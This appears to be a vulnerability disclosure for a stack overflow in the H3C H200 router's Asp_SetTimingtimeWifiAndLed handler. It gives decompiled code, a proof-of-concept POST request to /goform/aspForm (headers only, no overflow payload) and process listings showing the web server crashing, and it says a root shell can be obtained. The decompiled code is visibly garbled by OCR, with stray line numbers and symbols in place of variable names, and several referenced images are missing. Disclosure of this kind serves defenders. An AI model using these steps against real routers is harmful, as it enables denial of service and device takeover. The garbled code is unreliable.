

H3C H200[H200-EI] (H200V100R004) has a stack overflow vulnerability

Overview

- Manufacturer's website information: https://www.h3c.com/
- Firmware download address: https://www.h3c.com/cn/d_202009/1345678_30005_0.htm

Product Information

H3C H200[H200-EI] H200V100R004, the latest version of simulation overview:



Vulnerability details

The H3C H200[H200-EI] (H200V100R004) was found to have a stack overflow vulnerability in the Asp_SetTimingtimeWifiAndLed function. An attacker can obtain a stable root shell through a carefully constructed payload.

```
char v12[32]; // [sp+3Ch] [+3Ch] BYREF
13
   int v13[5]; // [sp+5Ch] [+5Ch] BYREF
14
15 char v14[4]; // [sp+70h] [+70h]
    int v15; // [sp+74h] [+74h] BYREF
16
17
18
    V10 = 0;
19
    v9 = 0;
20
    \vee 8 = 0;
21
    \sqrt{7} = 0;
22
    \vee 14[0] = 1;
    \vee 14[1] = 2;
23
24
    \vee 14[2] = 3;
25
    V6 = 0;
26
    i = 0;
27
    i = 0:
28
    V15 = 0;
     TimeRangeWifiEntry = 0:
29
30
    v11 = sub_4932BC(a1, "param", &dword_4E4528);
31
        (!v11)
32
       return -2;
     memset v12, 0, sizeof(v12));
33
    sscanf(\v11, "%[^;];", \v12);
34
```

In the Asp_SetTimingtimeWifiAndLed function, V11 (the value param) we entered is formatted using the sscanf function and in the form of %[^;]; . This greedy matching mechanism is not secure, as long as the size of the data we enter is larger than the size of V12, it will cause a stack overflow.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Boot the firmware by gemu-system or other ways (real machine)
- 2. Attack with the following POC attacks

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.0.124:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: https://121.226.152.63:8443/router_password_mobile.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 553
Origin: https://192.168.0.124:80
DNT: 1
Connection: close
Cookie: JSESSIONID=5c31d502
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
```

Sec-Fetch-User: ?1

Sec-Fetch-Site: same-origin

```
960 *root 2020 S /bin/maincontrol & 966 *root 1144 S /bin/monitor & 967 *root 592 S /bin/watchdog & 987 *root 840 S dnsmasq -r /etc/resolv.conf -n -c 500 989 *root 964 S /bin/dhcpd -d -q eth0 1020 *root 320 S /bin/igmpproxy WAN1 eth0 -D 1051 *root 872 S upnpd /var/run/upnp_385875968 eth0 WAN1 1225 *root 580 S telnetd 1357 *root 1048 S -mwcli 1358 *root 800 S /bin/sh 1377 *root 3484 S /bin/webs & 1391 *root 728 R pS
```


The picture above shows the process information before we send poc.

```
987 *root
                 840 S
                          /bin/dhcpd -d -q eth0
989 *root
                 964 S
                          /bin/igmpproxy WAN1 eth0 -D
                 320 S
1020 *root
    *root
                 872 S
1225 *root
                 580 S
                          telnetd
                1048 S
                          -mwcli
1357 *root
                          /bin/sh
                 800 S
1358 *root
1393 *root
                2220 5
                          /bin/webs &
1396 *root
                 728 R
```

In the picture above, we can see that the PID has changed since we sent the POC.



The picture above is the log information.



By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell.